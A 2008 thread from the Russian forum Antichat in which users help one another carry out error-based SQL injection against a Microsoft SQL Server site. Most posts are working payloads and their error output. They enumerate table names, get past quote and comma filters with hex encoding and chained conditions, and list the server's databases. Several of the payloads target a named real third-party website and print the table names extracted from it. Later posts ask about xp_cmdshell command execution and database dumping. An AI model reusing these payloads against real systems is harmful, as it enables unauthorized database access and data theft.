Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   mssql inj help (https://forum.antichat.xyz/showthread.php?t=65041)

-=megahertz=- 22.03.2008 13:58

mssql inj help
 
При таком запросе
"1+or+1=(SELECT+1+TOP+TABLE_NAME+FROM+INFORMATION_ SCHEMA.TABLES)--"
показывает
Incorrect syntax near the keyword 'TOP'


в чем моя ошибка?

~X3RiX~ 22.03.2008 14:10

юзай

http://pentestmonkey.net/blog/mssql-sql-injection-cheat-sheet/

guest3297 22.03.2008 14:12

"1+or+1=(SELECT+1+max(TABLE_NAME)+FROM+INFORMATION _SCHEMA.TABLES)--"

Scipio 22.03.2008 15:08

можно проинжектить запрос вобще без использования пробелов:
or(1=(select(max(table_name))from[information_schema].tables))

[ cash ] ;)

-=megahertz=- 22.03.2008 15:31

спасиб онотолий, помогло

-=megahertz=- 22.03.2008 16:24

снова я
1+or+1=((select((table_name))from[information_schema].tables+where+TABLE_NAME+NOT+IN+('syssegments')))--
выводит
'syssegments'
делаю так
1+or+1=((select((table_name))from[information_schema].tables+where+TABLE_NAME+NOT+IN+('syssegments','sy ssegments')))--
выводит
'syssegmentssyssegments'
в след запросе выводит уже
'syssegmentssyssegmentssyssegmentssyssegments'
и т.д.

ReVOLVeR 22.03.2008 16:39

TABLE_NAME+NOT+IN+('syssegments','sy ssegments','syssegmentssyssegments'...итд)))--
таким образом узнаёш все таблицы))
патом также только для столбцов и формеруеш запрос к бд))

-=megahertz=- 22.03.2008 16:42

я знаю что так надо
просто проблема в том что он просто делат так
syssegments
syssegmentssyssegments
syssegmentssyssegmentssyssegmentssyssegments
syssegmentssyssegmentssyssegmentssyssegmentssysseg mentssyssegments
...
так не должно быть

Scipio 22.03.2008 16:42

-=megahertz=-, покажи полностью, результат выполнения запроса

ReVOLVeR 22.03.2008 16:47

разграничь при помощи ';'

guest3297 22.03.2008 16:49

Используй в not+in 0x + hex кодирование.

-=megahertz=- 22.03.2008 16:57

вот запрос
id=1+or+1=((select((table_name))from[information_schema].tables+where+TABLE_NAME+NOT+IN+('syssegments','sy ssegmentssyssegments','syssegmentssyssegmentssysse gments')))--

ответ
Warning: mssql_query() [function.mssql-query]: message: Invalid column name 'syssegmentssyssegmentssyssegmentssyssegmentssysse gmentssyssegments'. (severity 16)
Warning: mssql_query() [function.mssql-query]: Query failed
Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource

Scipio 22.03.2008 17:05

1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES+where+TABLE_NAME+NOT+IN+((SELECT+TOP+ 1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES))--

потом

1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES+where+TABLE_NAME+NOT+IN+((SELECT+TOP+ 2+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES))--

потом

1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES+where+TABLE_NAME+NOT+IN+((SELECT+TOP+ 3+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES))--

и т.д.

ReVOLVeR 22.03.2008 17:06

message: Invalid column name имя калонки неверно...
'syssegmentssyssegmentssyssegmentssyssegmentssysse gmentssyssegments'-хм мож админы извращенцы так таблицы называть??

Scipio 22.03.2008 17:08

ReVOLVeR, фигню пишешь, просто при обработке запроса скриптом, из него удаляются кавычки и скорее всего запятые

-=megahertz=- 22.03.2008 17:16

попробовал то что мне скаща scipio
ответ
Warning: mssql_query() [function.mssql-query]: message: Incorrect syntax near the keyword 'TOP'. (severity 15)
Warning: mssql_query() [function.mssql-query]: Query failed
Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource

Scipio 22.03.2008 17:45

тогда делай:
(select(max(table_name))from[information_schema].tables+where+table_name<>0x7379737365676D656E7473 )

потом:
(select(max(table_name))from[information_schema].tables+where+table_name<>0x7379737365676D656E7473 +and+table_name<>захексенный результат)

и т.д. добавляй and`ы

-=megahertz=- 22.03.2008 18:45

вобщем в hex выводит все время только
(0x7379737365676D656E7473)syssegments

Scipio 22.03.2008 18:55

Цитата:

Сообщение от -=megahertz=-
вобщем в hex выводит все время только
(0x7379737365676D656E7473)syssegments

напиши запрос который используешь и полностью ошибку

-=megahertz=- 22.03.2008 19:00

1+or+1=(select(max(table_name))from[information_schema].tables+where+table_name+0x7379737365676D656E7473+ and+table_name+0x7379737365676d656e7473+and+table_ name+0x7379737365676d656e7473+and+table_name+0x737 9737365676d656e7473)--

вместо <> поставил + так как выводил ерор

Warning: mssql_query() [function.mssql-query]: message: Line 5: Incorrect syntax near '0x7379737365676d656e7473'. (severity 15)
Warning: mssql_query() [function.mssql-query]: message: Line 5: Incorrect syntax near '0x7379737365676d656e7473'. (severity 15)
Warning: mssql_query() [function.mssql-query]: Query failed
Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource

-=megahertz=- 22.03.2008 19:01

если не правильно не пинайте))

Scipio 22.03.2008 19:07

о боги, боги мои, яду мне, яду!!!
ты вот понимаешь для чего тут нужен знак неравенства <>?
вобщем так тогда делай:
1+or+1=(select(max(table_name))from[information_schema].tables+where+table_name+not+in+(0x7379737365676D6 56E7473))--

-=megahertz=- 22.03.2008 19:29

message: Line 5: Incorrect syntax near '56E7473'. (severity 15)
Warning: mssql_query() [function.mssql-query]: message: The floating point value '56E7473' is out of the range of computer representation (8 bytes). (severity 15)
Warning: mssql_query() [function.mssql-query]: message: Line 5: Incorrect syntax near '56E7473'. (severity 15)

Scipio 22.03.2008 19:35

-=megahertz=-, ктулху?
пробел убери в 0x7379737365676D6 56E7473

-=megahertz=- 22.03.2008 19:39

вывод результата снова тот же что и в начале)
Warning: mssql_query() [function.mssql-query]: message: Syntax error converting the nvarchar value 'syssegments' to a column of data type int. (severity 16)
Warning: mssql_query() [function.mssql-query]: Query failed

Dima-k17 23.03.2008 01:40

А может все-таки линку в студию?:)

-=megahertz=- 23.03.2008 09:14

можно с кем нибудь лично по асе пообщаться?

guest3297 23.03.2008 13:16

можно если найдешь мою асю.

-=megahertz=- 23.03.2008 14:55

мож через ЛС поделишся своей асей?

-=megahertz=- 07.05.2008 10:05

вобщем вот вам линка... долго дрючил свой мозг так и не доходит
надеюсь на вашу помощь

http://trot.telenet.ru/la2info/?part=npcs&id=-35332+or+1=(select(max(table_name))from[information_schema].tables+where+table_name+not+in+(0x7379737365676D6 56E7473))--

aka PSIH 07.05.2008 11:41

Код HTML:

http://trot.telenet.ru/la2info/?part=npcs&id=-35332+or+1=(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(select+top+1+table_name+from+information_schema.tables))--
во втором подзапросе перебираем TOP 1,2,3 ...

вот таблички которые я вытащил:
Цитата:

castle_names
manor_crop
manor_procure
henna
exp
item_names
locations
items
manor_manufacture
manor_procure
manor_crop
npc_ability
npc_skills
npc_names
npc_locations
npcs
quests
recipe_ingredients
quest_descriptions
recipes
sa_bonus
sa
set_items
skill_enchant
skill_acquire
skill_names
skills
stats
special_shops
sysconstraints
syssegments
sets

groundhog 07.05.2008 11:43

Там просто стоят фильтры... Которые вырезают кавычки, запятые, знаки сравнения, слово SELECT в верхнем регистре... Ну в общем фильтры они и есть фильтры, правда в нашем случае они вполне обходимые:

Код:

http://trot.telenet.ru/la2info/?part=npcs&id=-35332+OR+1=@@version--
http://trot.telenet.ru/la2info/?part=npcs&id=-35332+OR+1=(select+top+1+table_name+from+information_schema.tables)--
http://trot.telenet.ru/la2info/?part=npcs&id=-35332+OR+1=(select+top+1+table_name+from+information_schema.tables+where+table_name!="henna")--
http://trot.telenet.ru/la2info/?part=npcs&id=-35332+OR+1=(select+top+1+table_name+from+information_schema.tables+where+table_name!="henna"+and+table_name!="castle_names")--
http://trot.telenet.ru/la2info/?part=npcs&id=-35332+OR+1=(select+top+1+table_name+from+information_schema.tables+where+table_name!="henna"+and+table_name!="castle_names"+and+table_name!="classes")--

Обрати внимание, что перечисление таблиц делается не через привычный NOT IN, так как запятая вырезается, а через сцепление условий имя_поля!='значение1' and имя_поля!='значение2' and ...

Вот имена таблиц которые удалось вытащить (это не все):

Код:

henna
castle_names
classes
drops
dtproperties
exp
fish_items
fish_params
item_names
items
locations

В общем дерзай... Просто обход делай не через множество, а через сцепление условий, пускай это будет долго, но зато в обход фильтрации... В принципе можно отсеивать записи пачками используя для каждой ветки and условие NOT LIKE "...". Обрати внимание, что одинарные кавычки тоже вырезаются...

geezer.code 09.05.2008 22:20

гдето уже видел такой пример но ищо раз повторю
имена таблиц можно перебирать подзапросом
меняя значение 2го топа: top 1, top 2 итд
Код:

http://trot.telenet.ru/la2info/?part=npcs&id=-35332'+OR+1=(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(select+top+2+table_name+from+information_schema.tables))--

вот мы и обошлись без кавычек

NamahS 27.06.2008 03:57

ААФигеть вы умные %)
-=megahertz=-, ну и как ВСЁ удалось ?
1)Я так понимаю, что в этой базе нет таблицы accounts....
2)Выводить сразу большой список не выйдет?
3)А возможно сделать запрос к другой базе на этом же серве(например master)?
Ну киньте плиз пример запроса для чтения полей и их значений в этих таблицах???
4)возможно ли как-то выполнить такой запрос
?part=npcs&id=-35332+OR+1=(exec+master..xp_cmdshell+”ipconfig )
Что я не так делаю?
5)Может есть хотя бы ссылка где это обсуждалось подробно?
6)Можно ли вообще узнать список всех баз на этом сервере как-нибудь(master...northwind и т.д.)?

...плиз...

aka PSIH 27.06.2008 10:19

1. >нет таблицы accounts
2. >не выйдет. -> перебирать top 1,2,3...
3. почему нет?
Цитата:

http://trot.telenet.ru/la2info/?part=npcs&id=-35332+or+1=(select+top+1+name+from+master..sysdata bases)--
4. -
5.
http://forum.antichat.ru/showthread.php?t=30501
http://forum.antichat.ru/threadedpost747381.html
http://forum.antichat.ru/thread46016.html
+ поиск по форуму
6.
Цитата:

http://trot.telenet.ru/la2info/?part=npcs&id=-35332+or+1=(select+db_name(1))--
Цитата:

http://trot.telenet.ru/la2info/?part=npcs&id=-35332+or+1=(select+db_name(2))--
и т.д ...

вроде так, (если я правильно понял твои вапросы)...

p.s: не надо мне в пм спамить... ;)

NamahS 28.06.2008 03:27

Мэни-мени сенкс...извини за ПМ.

-=megahertz=- 03.07.2008 11:17

Цитата:

Сообщение от NamahS
ААФигеть вы умные %)
-=megahertz=-, ну и как ВСЁ удалось ?

все отлично удалось! после этого админу рассказал все) если он не дурак то поправил)

NamahS 05.07.2008 11:17

А я не расскажу;))
Нашел ссылки на снятие дампа, но ни одна не работает...Есть рабочая???
И вопрос про exec не раскрыт...)
...через ; надо делать?...не получается что-то...

gisTy 05.07.2008 12:07

всмысле сссылки про снятие дампа? ты нашел раскрученные инъкции но слить инфу не можешь или что?

NamahS 05.07.2008 13:14

Меня интересует Реализация скрипта для просмотра и дампинга баз, через mssql-inj


Время: 14:51